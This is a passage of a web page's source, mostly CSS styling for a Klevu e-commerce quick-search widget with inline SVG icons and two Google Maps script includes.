%208.855469%200.0078125%207%20C%200.0078125%205.144531%200.742188%203.367188%202.054688%202.054688%20C%203.367188%200.742188%205.144531%200.0078125%207%200.0078125%20C%208.855469%200.0078125%2010.632812%200.742188%2011.945312%202.054688%20C%2013.257812%203.367188%2013.992188%205.144531%2013.992188%207%20C%2013.992188%208.855469%2013.257812%2010.632812%2011.945312%2011.945312%20C%2010.632812%2013.257812%208.855469%2013.992188%207%2013.992188%20Z%20M%207%2013.992188%20%22%2F%3E%0A%3C%2Fg%3E%0A%3C%2Fsvg%3E%0A); 5877 display: inline-block; 5878 width: 16px; 5879 position: absolute; 5880 left: 0 5881 } 5882 5883 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks { 5884 position: relative 5885 } 5886 5887 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks input { 5888 position: absolute; 5889 opacity: 0; 5890 z-index: -1 5891 } 5892 5893 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-label { 5894 cursor: pointer; 5895 position: relative; 5896 padding-right: 18px 5897 } 5898 5899 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-label::after { 5900 content: url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%228px%22%20height%3D%2213px%22%20viewBox%3D%220%200%208%2012%22%20version%3D%221.1%22%3E%0A%3Cg%20id%3D%22surface1%22%3E%0A%3Cpath%20style%3D%22%20stroke%3Anone%3Bfill-rule%3Anonzero%3Bfill%3Argb%2860%25%2C60%25%2C60%25%29%3Bfill-opacity%3A1%3B%22%20d%3D%22M%207.136719%206.398438%20L%202.277344%2010.953125%20C%202.042969%2011.171875%201.664062%2011.171875%201.429688%2010.953125%20L%200.863281%2010.421875%20C%200.628906%2010.203125%200.628906%209.847656%200.863281%209.625%20L%204.710938%206%20L%200.863281%202.375%20C%200.628906%202.152344%200.628906%201.796875%200.863281%201.5
590078125%20L%201.429688%201.046875%20C%201.664062%200.828125%202.042969%200.828125%202.277344%201.046875%20L%207.136719%205.601562%20C%207.371094%205.820312%207.371094%206.179688%207.136719%206.398438%20Z%20M%207.136719%206.398438%20%22%2F%3E%0A%3C%2Fg%3E%0A%3C%2Fsvg%3E%0A); 5901 position: absolute; 5902 right: 0; 5903 top: 1px 5904 } 5905 5906 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-content { 5907 display: none; 5908 position: relative; 5909 background-color: #f5f6f4; 5910 padding: 10px; 5911 margin-top: 8px 5912 } 5913 5914 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-content p { 5915 margin: 0; 5916 padding-left: 64px 5917 } 5918 5919 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-content .img1::before { 5920 content: url(data:image/svg+xml,%0A%3Csvg%20width%3D%2226%22%20height%3D%2229%22%20viewBox%3D%220%200%2026%2029%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Cpath%20d%3D%22M1%207.65073V21.0515L13%2027.8015L25%2021.0515V7.65073L13%201L1%207.65073Z%22%20stroke%3D%22%23999999%22%20stroke-miterlimit%3D%2210%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%3Cpath%20d%3D%22M1%208.14697L13%2014.897L25%208.14697%22%20stroke%3D%22%23999999%22%20stroke-miterlimit%3D%2210%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%3Cpath%20d%3D%22M13%2027.8014V14.897%22%20stroke%3D%22%23999999%22%20stroke-miterlimit%3D%2210%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%2F%3E%0A%3C%2Fsvg%3E%0A); 5921 width: 16px; 5922 position: absolute 5923 } 5924 5925 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks .accordion-content .img2::before { 5926 content: url(data:image/svg+xml,%0A%3Csvg%20width%3D%2218%22%20height%3D%2225%22%20viewBox%3D%220%200%2018%2025%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Crect%20x%3D%220.5%22%20y%3D%220.5%22%20width%3D%227%22%20height%3D%226%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%220.5%22%20y%3D%229.5%22%20width%3D%227%22%20height%3D%226%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%220.5%22%20y%3D%2218.5%22%20width%3D%227%22%20height%3D%226%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%220.5%22%20width%3D%227%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.25%22%20y%3D%223.25%22%20width%3D%227.5%22%20height%3D%220.5%22%20stroke%3D%22%23999999%22%20stroke-width%3D%220.5%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%225.5%22%20width%3D%224%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%229.5%22%20width%3D%227%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.25%22%20y%3D%2212.25%22%20width%3D%227.5%22%20height%3D%220.5%22%20stroke%3D%22%23999999%22%20stroke-width%3D%220.5%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%2214.5%22%20width%3D%224%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%2218.5%22%20width%3D%227%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3Crect%20x%3D%2210.25%22%20y%3D%2221.25%22%20width%3D%227.5%22%20height%3D%220.5%22%20stroke%3D%22%23999999%22%20stroke-width%3D%220.5%22%2F%3E%0A%3Crect%20x%3D%2210.5%22%20y%3D%2223.5%22%20width%3D%224%22%20height%3D%221%22%20stroke%3D%22%23999999%22%2F%3E%0A%3C%2Fsvg%3E%0A); 5927 width: 16px; 5928 position: absolute; 5929 margin-left: 34px; 5930 margin-top: 3px 5931 } 5932 5933 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks input:checked~.accordion-label::after { 5934 content: url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%2212px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2012%2013%22%20version%3D%221.1%22%3E%0A%3Cg%20id%3D%22surface1%22%3E%0A%3Cpath%20style%3D%22%20stroke%3Anone%3Bfill-rule%3Anonzero%3Bfill%3Argb%2860%25%2C60%25%2C60%25%29%3Bfill-opacity%3A1%3B%22%20d%3D%22M%205.546875%209.6875%20L%200.339844%204.75%20C%200.0898438%204.511719%200.0898438%204.128906%200.339844%203.890625%20L%200.945312%203.3125%20C%201.199219%203.078125%201.605469%203.074219%201.855469%203.3125%20L%206%207.222656%20L%2010.144531%203.3125%20C%2010.394531%203.074219%2010.800781%203.078125%2011.054688%203.3125%20L%2011.660156%203.890625%20C%2011.910156%204.128906%2011.910156%204.511719%2011.660156%204.75%20L%206.453125%209.6875%20C%206.203125%209.925781%205.796875%209.925781%205.546875%209.6875%20Z%20M%205.546875%209.6875%20%22%2F%3E%0A%3C%2Fg%3E%0A%3C%2Fsvg%3E); 5935 position: absolute; 5936 right: 0; 5937 top: 1px 5938 } 5939 5940 .kuQuickSearchImageUploadContainer .kuImgSearchHowItWorks input:checked~.accordion-content { 5941 display: block 5942 } 5943 5944 @media screen and (max-width:640px) { 5945 5946 .klevuTarget.klevu-fluid.kuEmptySearchBox .kuQuickImageSearchWra
5946p, 5947 .klevuTarget.kuQuickSearchFacetedLayout .kuQuickImageSearchWrap, 5948 .klevuTarget.kuQuickSearchResultsContainer .kuQuickImageSearchWrap, 5949 .klevuTarget.kuPersonalizedSearchRecsEnabled .kuQuickImageSearchWrap, 5950 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled .kuQuickImageSearchWrap, 5951 .klevuTarget .kuQuickImageSearchWrap { 5952 position: fixed !important; 5953 top: 15% !important; 5954 max-width: 80% !important; 5955 left: 10% !important; 5956 right: auto !important; 5957 z-index: 1000000; 5958 margin-left: 0; 5959 width: 80% !important 5960 } 5961 5962 .klevuTarget.klevu-fluid>div.kuQuickImageSearchWrap { 5963 left: 10% !important; 5964 width: 80% !important; 5965 z-index: 1000000 !important 5966 } 5967 5968 .kuImageSearchWrapBackDrop { 5969 z-index: 1000 !important 5970 } 5971 5972 .kuImageSearchWrapBackDrop::before { 5973 content: ''; 5974 height: 100% !important; 5975 width: 100% !important; 5976 background: rgba(0, 0, 0, 0.5); 5977 z-index: 1000; 5978 position: fixed; 5979 left: 0; 5980 top: 0; 5981 bottom: 0 5982 } 5983 5984 .kuQuickUploadHeaderTitle { 5985 text-align: center 5986 } 5987 5988 .kuImgSearchHowItWorks { 5989 text-align: center 5990 } 5991 5992 .kuImgSearchHowItWorks .accordion-content { 5993 text-align: left 5994 } 5995 } 5996 </style> 5997
5997<script type="text/javascript" charset="UTF-8" src="https://maps.google.com/maps-api-v3/api/js/64/12d/common.js"></script>
5997 5998
5998<script type="text/javascript" charset="UTF-8" src="https://maps.google.com/maps-api-v3/api/js/64/12d/util.js"></script>
5998 5999 <style type="text/css" id="klevu-quick-search-theme-styles"> 6000 [ku-container] a, 6001 [ku-container] p, 6002 [ku-container] div, 6003 [ku-container] ul li { 6004 font-family: inherit; 6005 font-size: 13px; 6006 line-height: 130%; 6007 text-decoration: none; 6008 font-weight: normal 6009 } 6010 6011 [ku-container] * { 6012 -webkit-box-sizing: border-box; 6013 -moz-box-sizing: border-box; 6014 box-sizing: border-box; 6015 outline: 0; 6016 -webkit-font-smoothing: antialiased; 6017 vertical-align: top 6018 } 6019 6020 .kuBase { 6021 margin: 0; 6022 padding: 0; 6023 border: 0; 6024 box-sizing: border-box; 6025 box-shadow: none; 6026 position: relative; 6027 max-width: 100% 6028 } 6029 6030 [ku-container], 6031 [ku-block] { 6032 margin: 0; 6033 padding: 0; 6034 border: 0; 6035 box-sizing: border-box; 6036 box-shadow: none; 6037 position: relative; 6038 max-width: 100% 6039 } 6040 6041 [ku-container][data-container-role="main"] { 6042 margin: 0; 6043 padding: 0; 6044 border: 0; 6045 box-sizing: border-box; 6046 box-shadow: none; 6047 position: relative; 6048 max-width: 100%; 6049 width: 1200px; 6050 margin: 0 auto 6051 } 6052 6053 [ku-container][data-container-role="header"] { 6054 margin: 0; 6055 padding: 0; 6056 border: 0; 6057 box-sizing: border-box; 6058 box-shadow: none; 6059 position: relative; 6060 max-width: 100% 6061 } 6062 6063 [ku-container][data-container-role="header"] [ku-block][data-container-role="subPanel"] { 6064 margin: 0; 6065 padding: 0; 6066 border: 0; 6067 box-sizing: border-box; 6068 box-shadow: none; 6069 position: relative; 6070 max-width: 100% 6071 } 6072 6073 [ku-container][data-container-role="header"] [ku-block][data-container-role="banner"] { 6074 margin: 0; 6075 padding: 0; 6076 border: 0; 6077 box-sizing: border-box; 6078 box-shadow: none; 6079 position: relative; 6080 max-width: 100% 6081 } 6082 6083 [ku-container][data-container-role="header"] [ku-block][data-container-role="navigation"] { 6084 margin: 0; 6085 padding: 0; 6086 border: 0; 6087 box-sizing: border-box; 6088 box-shadow: none; 6089 position: relative; 6090 max-width: 100% 6091 } 6092 6093 .kuResultContent { 6094 margin: 0; 6095 padding: 0; 6096 border: 0; 6097 box-sizing: border-box; 6098 box-shadow: none; 6099 position: relative; 6100 max-width: 100% 6101 } 6102 6103 .kuResultContent [ku-container]:empty { 6104 display: none !important; 6105 width: 0 !important; 6106 padding: 0; 6107 margin: 0; 6108 overflow: hidden 6109 } 6110 6111 [ku-container][data-container-role="content"] { 6112 margin: 0; 6113 padding: 0; 6114 border: 0; 6115 box-sizing: border-box; 6116 box-shadow: none; 6117 position: relative; 6118 max-width: 100%; 6119 display: table; 6120 width: 100% 6121 } 6122 6123 [ku-container][data-container-role="content"] [ku-block]:empty { 6124 display: none !important; 6125 width: 0 !important; 6126 padding: 0; 6127 margin: 0; 6128 overflow: hidden 6129 } 6130 6131 [ku-block][ku-empty], 6132 [ku-container][ku-empty] { 6133 display: none !important; 6134 width: 0 !important; 6135 padding: 0 !important; 6136 height: 0 !important; 6137 margin: 0 !important; 6138 overflow: hidden !important 6139 } 6140 6141 [ku-container][data-container-role="left"] { 6142 display: table-cell; 6143 width: 22%; 6144 height: auto; 6145 max-width: 275px 6146 } 6147 6148 [ku-container][data-container-role="right"] { 6149 display: table-cell; 6150 width: 22%; 6151 height: auto; 6152 max-width: 275px 6153 } 6154 6155 [ku-container][data-container-role="content"] [ku-container][data-container-role="results"] { 6156 display: table-cell; 6157 width: auto; 6158 height: auto 6159 } 6160 6161 [ku-container][data-container-role="content"]:after { 6162 content: ''; 6163 display: block; 6164 clear: both 6165 } 6166 6167 [ku-block]:empty { 6168 display: none !important; 6169 width: 0 !important; 6170 height: 0 !important; 6171 min-height: 0 !important; 6172 padding: 0; 6173 margin: 0; 6174 overflow: hidden 6175 } 6176 6177 @media only screen and (max-width:1100px) { 6178 .kuResults ul li { 6179 width: 33%; 6180 padding: 5px 6181 } 6182 6183 .kuFilterBox .kuFilterNames ul li a span.kufacet-text { 6184 max-width: 60%; 6185 width: 60% 6186 } 6187 } 6188 6189 @media only screen and (max-width:991px) { 6190 6191 [ku-container][data-container-role="left"], 6192 [ku-container][data-container-role="right"] { 6193 width: 32% 6194 } 6195 } 6196 6197 @media only screen and (max-width:767px) { 6198 6199 [ku-container][data-container-role="content"], 6200 [ku-container][data-container-role="content"] [ku-container][data-container-role="results"], 6201 [ku-container][data-container-role="left"], 6202 [ku-container][data-container-role="right"] { 6203 display: block; 6204 width: 100%; 6205 height: auto 6206 } 6207 6208 .kuContainer .kuTabs a { 6209 display: inline-block 6210 } 6211 6212 .kuContainer .kuTabs a:hover { 6213 border-bottom: 0 solid #ddd; 6214 text-decoration: none; 6215 background: #f5f5f5 6216 } 6217 6218 .kuContainer a.kuTabSelected { 6219 border-bottom: 0 solid #ddd; 6220 background: #f5f5f5 6221 } 6222 6223 .kuLandingNoResultsMessage { 6224 font-size: 15px; 6225 line-height: 1.2em; 6226 padding: 10px 5%; 6227 text-align: center 6228 } 6229 6230 .kuFilterBox { 6231 margin-bottom: 5px; 6232 padding-bottom: 10px; 6233 width: 100% 6234 } 6235 } 6236 6237 .klevu-stars-small-l2 { 6238 height: 13px; 6239 display: inline-block; 6240 vertical-align: bottom; 6241 background: transparent url(https://js.klevu.com/klevu-js-v1/img-1-1/star-gray.png) top left repeat-x; 6242 width: 65px; 6243 margin-top: 5px 6244 } 6245 6246 .klevu-stars-small-l2 .klevu-rating-l2 { 6247 background: transparent url(https://js.klevu.com/klevu-js-v1/img-1-1/star-yellow.png) top left repeat-x; 6248 height: 13px; 6249 display: inline-block 6250 } 6251 6252 .klevuRatingCount { 6253 display: inline-block; 6254 margin-top: 3px; 6255 margin-left: 1px 6256 } 6257 6258 .kuQuickSearchFacetedLayout>div, 6259 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled>div { 6260 width: 100% !important; 6261 max-width: 550px !important 6262 } 6263 6264 .kuQuickSearchFacetedLayout [ku-container][data-container-role="left"], 6265 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="left"] { 6266 width: 33%; 6267 padding-right: 2% 6268 } 6269 6270 .kuQuickSearchFacetedLayout [ku-container][data-container-role="right"], 6271 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="right"] { 6272 width: Calc(65%) 6273 } 6274 6275 .kuQuickSearchFacetedLayout [ku-container][data-container-role="left"] { 6276 width: 33%; 6277 padding-right: 0 6278 } 6279 6280 .kuQuickSearchFacetedLayout [ku-container][data-container-role="right"] { 6281 width: 33% 6282 } 6283 6284 .kuQuickSearchFacetedLayout .kuQuickResultsListContainer { 6285 position: relative; 6286 height: 360px; 6287 overflow: auto 6288 } 6289 6290 .kuQuickSearchFacetedLayout .kuPagination { 6291 padding: 10px 20px; 6292 text-align: right 6293 } 6294 6295 .kuQuickSearchFacetedLayout .kuPagination a { 6296 margin: 0; 6297 position: relative; 6298 display: inline-block; 6299 padding-left: 0; 6300 padding-right: 10px; 6301 color: #333; 6302 cursor: pointer; 6303 text-decoration: none; 6304 border-right: 1px solid #ddd; 6305 font-size: 14px 6306 } 6307 6308 .kuQuickSearchFacetedLayout .kuPagination a:hover { 6309 color: #333 6310 } 6311 6312 .kuQuickSearchFacetedLayout .kuPagination a:last-child { 6313 border-right: 0 6314 } 6315 6316 .kuQuickSearchFacetedLayout .kuPagination a.kuCurrent { 6317 background: #fff; 6318 -webkit-box-shadow: none; 6319 -moz-box-shadow: none; 6320 box-shadow: none; 6321 font-weight: bold 6322 } 6323 6324 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct { 6325 width: 32% !important; 6326 border-right: 1px solid #e2e2e2; 6327 border-top: 1px solid #e2e2e2; 6328 display: inline-block; 6329 float: left; 6330 min-height: 200px 6331 } 6332 6333 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct .klevu-desc-l2 { 6334 display: none 6335 } 6336 6337 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:hover { 6338 background-color: #f8f8f8 6339 } 6340 6341 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:hover .klevuQuickAddtoCart { 6342 opacity: 1;
6343 visibility: visible 6344 } 6345 6346 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(1) { 6347 border-top: 0; 6348 border-top: 0 6349 } 6350 6351 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(2) { 6352 border-top: 0; 6353 border-top: 0 6354 } 6355 6356 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(3) { 6357 border-top: 0; 6358 border-top: 0 6359 } 6360 6361 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-last-child(1) { 6362 border-bottom: 1px solid #e2e2e2 6363 } 6364 6365 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-last-child(2) { 6366 border-bottom: 1px solid #e2e2e2 6367 } 6368 6369 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-last-child(3) { 6370 border-bottom: 1px solid #e2e2e2 6371 } 6372 6373 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(3n+3) { 6374 border-right: 0 6375 } 6376 6377 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuResultsBlock .klevuQuickSearchResults .klevuProductItemTop { 6378 width: 100%; 6379 float: none 6380 } 6381 6382 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuResultsBlock .klevuQuickSearchResults .klevuProductItemBottom { 6383 width: 100%; 6384 float: none 6385 } 6386 6387 .kuQuickSearchFacetedLayout [data-result-view='grid'].klevuQuickSearchResults .klevuQuickAddtoCart { 6388 margin: 0 auto; 6389 position: absolute; 6390 display: inline-block; 6391 bottom: auto; 6392 width: auto; 6393 top: 25%; 6394 left: 0; 6395 width: 100%; 6396 text-align: center; 6397 opacity: 0; 6398 visibility: hidden 6399 } 6400 6401 .kuQuickSearchFacetedLayout .klevuResultsBlock [data-result-view='grid'].klevuQuickSearchResults .klevuProductItemBottom { 6402 width: 100%; 6403 float: none 6404 } 6405 6406 .kuQuickSearchFacetedLayout .klevuResultsBlock [data-result-view='grid'].klevuQuickSearchResults .klevuProductItemTop { 6407 width: 100%; 6408 float: none 6409 } 6410 6411 .kuQuickSearchFacetedLayoutRightSideFilters .kuPagination { 6412 text-align: left 6413 } 6414 6415 .klevuTarget.klevu-fluid.kuQuickSearchFacetedLayout>div { 6416 min-width: 54% 6417 } 6418 6419 @media only screen and (min-width:768px) and (max-width:991px) { 6420 .klevuTarget.klevu-fluid.kuQuickSearchFacetedLayout>div { 6421 min-width: 66%; 6422 max-width: 100% 6423 } 6424 6425 .kuQuickSearchFacetedLayout [ku-container][data-container-role="left"] { 6426 width: 38% 6427 } 6428 6429 .kuQuickSearchFacetedLayout [ku-container][data-container-role="right"] { 6430 width: 38% 6431 } 6432 6433 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct { 6434 width: 49% !important; 6435 border-top: 0; 6436 min-height: 230px 6437 } 6438 6439 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(3) { 6440 border-top: 1px solid #e2e2e2 6441 } 6442 6443 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-last-child(1) { 6444 border-top: 0 6445 } 6446 6447 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(2n+2) { 6448 border-right: 0 6449 } 6450 6451 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(odd) { 6452 border-right: 1px solid #e2e2e2; 6453 border-top: 0 6454 } 6455 6456 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="left"] { 6457 width: 38%; 6458 padding-right: 2% 6459 } 6460 } 6461 6462 @media only screen and (max-width:767px) { 6463 .kuQuickSearchFacetedLayout [ku-container][data-container-role="left"] { 6464 width: 100%; 6465 padding-right: 0; 6466 max-width: 100% 6467 } 6468 6469 .kuQuickSearchFacetedLayout [ku-container][data-container-role="right"] { 6470 width: 100%; 6471 padding-right: 0; 6472 max-width: 100% 6473 } 6474 6475 .kuQuickSearchFacetedLayout .kuFilterBox .kuFilterHead { 6476 font-weight: bold 6477 } 6478 6479 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct { 6480 width: 49% !important; 6481 border-top: 0;
6482 min-height: 230px 6483 } 6484 6485 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(3) { 6486 border-top: 1px solid #e2e2e2 6487 } 6488 6489 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-last-child(1) { 6490 border-top: 0 6491 } 6492 6493 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(2n+2) { 6494 border-right: 0 6495 } 6496 6497 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(odd) { 6498 border-right: 1px solid #e2e2e2; 6499 border-top: 0 6500 } 6501 6502 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:hover .klevuQuickAddtoCart { 6503 opacity: 1; 6504 visibility: visible 6505 } 6506 6507 .kuQuickSearchFacetedLayout [data-result-view='grid'].klevuQuickSearchResults .klevuQuickAddtoCart { 6508 position: relative; 6509 display: inline-block; 6510 bottom: 15px; 6511 width: auto; 6512 top: auto; 6513 left: 0; 6514 width: 100%; 6515 text-align: center; 6516 opacity: 1; 6517 visibility: visible; 6518 margin-top: 10px 6519 } 6520 6521 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="left"] { 6522 width: 100%; 6523 padding-right: 0; 6524 max-width: 100% 6525 } 6526 6527 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="right"] { 6528 width: 100%; 6529 padding-right: 0; 6530 max-width: 100% 6531 } 6532 } 6533 6534 .kuCarousel { 6535 box-sizing: border-box; 6536 position: relative; 6537 width: 100%; 6538 height: 210px 6539 } 6540 6541 .kuCarousel *:before { 6542 box-sizing: border-box 6543 } 6544 6545 .kuCarousel *:after { 6546 box-sizing: border-box 6547 } 6548 6549 .kuCarousel .kuCarousel-content { 6550 position: relative; 6551 overflow: hidden; 6552 transition: width .4s; 6553 height: 100% 6554 } 6555 6556 .kuCarousel .kuSlide { 6557 height: 100%; 6558 position: absolute; 6559 z-index: 1; 6560 transition: left .4s cubic-bezier(0.47, 0.13, 0.15, 0.89) 6561 } 6562 6563 .kuCarousel .nav { 6564 position: absolute; 6565 top: 50%; 6566 margin-top: -8%; 6567 background-color: #FFF; 6568 width: 24px; 6569 height: 24px; 6570 z-index: 2; 6571 cursor: pointer; 6572 border-radius: 50%; 6573 border: 0; 6574 outline: 0; 6575 color: white; 6576 -webkit-user-select: none; 6577 background-position: center; 6578 background-repeat: no-repeat; 6579 background-size: 100%; 6580 display: block 6581 } 6582 6583 .kuCarousel .nav-left { 6584 left: -5px; 6585 background-image: url(https://js.klevu.com/klevu-js-v1/img-1-1/icon-prev.png) 6586 } 6587 6588 .kuCarousel .nav-right { 6589 right: -5px; 6590 background-image: url(https://js.klevu.com/klevu-js-v1/img-1-1/icon-next.png) 6591 } 6592 6593 .kuCarousel .kuCarousel-arrow-icon-left { 6594 margin-left: 5px; 6595 margin-top: 2px 6596 } 6597 6598 .kuCarousel .kuCarousel-arrow-icon-right { 6599 margin-left: 7px; 6600 margin-top: 2px 6601 } 6602 6603 .kuFilterNames { 6604 height: 118px; 6605 overflow: hidden 6606 } 6607 6608 .kuFilterNames ul { 6609 margin: 0; 6610 padding: 0 6611 } 6612 6613 .kuFilterNames ul li { 6614 list-style: none; 6615 text-align: left; 6616 width: 100%; 6617 display: inline-block; 6618 margin: 0; 6619 padding: 0 6620 } 6621 6622 .kuFilterNames ul li a { 6623 display: block; 6624 position: relative; 6625 overflow: hidden; 6626 padding: 0; 6627 text-decoration: none; 6628 cursor: pointer; 6629 font-style: normal; 6630 color: #333; 6631 background: 0; 6632 margin: 2px; 6633 margin-left: 5px 6634 } 6635 6636 .kuFilterNames ul li a span { 6637 display: inline-block; 6638 vertical-align: middle 6639 } 6640 6641 .kuFilterNames ul li a span.kufacet-text { 6642 max-width: 74%; 6643 width: 74%; 6644 overflow: hidden; 6645 white-space: nowrap; 6646 text-overflow: ellipsis; 6647 float: left 6648 } 6649 6650 .kuFilterNames ul li a span.kuFilterIcon { 6651 float: left; 6652 margin: 0; 6653 padding: 0; 6654 font-weight: normal 6655 } 6656 6657 .kuFilterNames ul li a:hover { 6658 cursor: pointer 6659 } 6660 6661 .kuFilterNames ul li a:hover span.kuFilterIcon:before { 6662 background: #fff 6663 } 6664 6665 .kuFilterNames ul li a:hover span.kuFilterIcon:after { 6666 content: ''; 6667 position: absolute; 6668 width: 8px; 6669 height: 8px; 6670 background: #333; 6671 top: 5px; 6672 left: 5px; 6673 border: 0; 6674 margin-top: 0;
6675 margin-left: 0; 6676 -moz-box-sizing: border-box; 6677 -webkit-box-sizing: border-box; 6678 box-sizing: border-box; 6679 -webkit-transform: rotate(-45deg); 6680 -moz-transform: rotate(-45deg); 6681 -o-transform: rotate(-45deg); 6682 -ms-transform: rotate(-45deg); 6683 transform: rotate(-45deg); 6684 border-radius: 50% 6685 } 6686 6687 .kuFilterNames ul li a span.kuFilterTotal { 6688 float: right; 6689 text-align: right; 6690 margin: 0; 6691 padding: 0 6692 } 6693 6694 .kuFilterNames ul li a span.kuFilterCancel { 6695 float: right; 6696 text-align: right; 6697 margin: 0; 6698 padding: 0 6699 } 6700 6701 .kuFilterNames ul li .klevuFacetStars { 6702 height: 14px; 6703 display: inline-block; 6704 vertical-align: bottom; 6705 background: transparent url(https://js.klevu.com/klevu-js-v1/img-1-1/star-gray.png) top left repeat-x; 6706 width: 65px 6707 } 6708 6709 .kuFilterNames ul li .klevuFacetStars .klevuFacetRating { 6710 background: transparent url(https://js.klevu.com/klevu-js-v1/img-1-1/star-yellow.png) top left repeat-x; 6711 height: 14px; 6712 display: inline-block 6713 } 6714 6715 .kuFilterNames ul li.kuSelected a { 6716 color: #333 6717 } 6718 6719 .kuFilterNames ul li.kuSelected span.kuFilterIcon:before { 6720 background: #fff 6721 } 6722 6723 .kuFilterNames ul li.kuSelected span.kuFilterIcon:after { 6724 content: ''; 6725 position: absolute; 6726 width: 8px; 6727 height: 8px; 6728 background: #333; 6729 top: 5px; 6730 left: 5px; 6731 border: 0; 6732 margin-top: 0; 6733 margin-left: 0; 6734 -moz-box-sizing: border-box; 6735 -webkit-box-sizing: border-box; 6736 box-sizing: border-box; 6737 -webkit-transform: rotate(-45deg); 6738 -moz-transform: rotate(-45deg); 6739 -o-transform: rotate(-45deg); 6740 -ms-transform: rotate(-45deg); 6741 transform: rotate(-45deg); 6742 border-radius: 50%; 6743 border-color: #333 6744 } 6745 6746 .kuFilterNames ul li.kuSelected:hover span.kuFilterIcon:after { 6747 -moz-box-sizing: border-box; 6748 -webkit-box-sizing: border-box; 6749 box-sizing: border-box; 6750 border-color: #333 6751 } 6752 6753 .kuFilterNames.kuFilterShowAll { 6754 height: auto; 6755 overflow: unset 6756 } 6757 6758 .kuFilterHead { 6759 font-family: inherit; 6760 font-size: 13px; 6761 font-weight: bold; 6762 padding: 5px; 6763 color: #333; 6764 display: block; 6765 line-height: 1.8; 6766 text-transform: uppercase; 6767 border-bottom: 1px solid #eee; 6768 background: 0; 6769 margin-bottom: 15px; 6770 margin-top: 0; 6771 position: relative; 6772 cursor: pointer; 6773 transition: all .3s ease 6774 } 6775 6776 .kuShowOpt { 6777 padding: 0 5px; 6778 cursor: pointer; 6779 position: absolute; 6780 bottom: -5px 6781 } 6782 6783 